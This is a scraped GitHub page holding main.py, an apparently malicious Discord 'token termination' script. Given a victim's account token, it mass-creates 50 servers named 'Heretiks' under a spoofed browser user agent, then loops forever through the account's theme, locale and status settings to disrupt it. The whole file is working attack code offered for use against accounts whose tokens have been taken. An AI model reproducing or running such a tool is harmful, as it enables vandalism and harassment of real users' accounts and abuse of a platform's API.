-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
84 lines (81 loc) · 2.63 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests, json, random, numpy, datetime, ctypes, aiohttp
from colorama import Fore
from itertools import cycle
def token_termination(token):
locales = [
"da", "de",
"en-GB", "en-US",
"es-ES", "fr",
"hr", "it",
"lt", "hu",
"nl", "no",
"pl", "pt-BR",
"ro", "fi",
"sv-SE", "vi",
"tr", "cs",
"el", "bg",
"ru", "uk",
"th", "zh-CN",
"ja", "zh-TW",
"ko"
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7',
'Content-Type': 'application/json',
'Authorization': token,
}
request = requests.Session()
payload = {
'theme': "light",
'locale': "ch",
'message_display_compact': False,
'inline_embed_media': False,
'inline_attachment_media': False,
'gif_auto_play': False,
'render_embeds': False,
'render_reactions': False,
'animate_emoji': False,
'convert_emoticons': False,
'enable_tts_command': False,
'explicit_content_filter': '0',
'status': "invisible"
}
guild = {
'channels': None,
'icon': "https://cdn.discordapp.com/channel-icons/840101092624826369/59f91312fcd0d09babe16e9faf55fbc6.webp",
'name': "Heretiks",
'region': "europe"
}
for _i in range(50):
requests.post('https://discordapp.com/api/v9/guilds', headers=headers, json=guild)
while True:
try:
request.patch("https://canary.discordapp.com/api/v9/users/@me/settings",headers=headers, json=payload)
except Exception as e:
print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
else:
break
modes = cycle(["light", "dark"])
statuses = cycle(["online", "idle", "dnd", "invisible"])
while True:
setting = {
'theme': next(modes),
'locale': random.choice(locales),
'status': next(statuses)
}
while True:
try:
request.patch("https://canary.discordapp.com/api/v9/users/@me/settings",headers=headers, json=setting, timeout=10)
except Exception as e:
print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}"+Fore.RESET)
else:
break
def __init__():
token = input(str(Fore.RED + "[ Token ] " + Fore.CYAN + "Please enter the token: "))
if token == "":
print(Fore.RED + "[ERROR]" + Fore.CYAN + " Token cannot be nothing.")
__init__()
else:
print(Fore.RED + "[ Process ]" + Fore.CYAN + " Token Termination process started.")
token_termination(token)
__init__()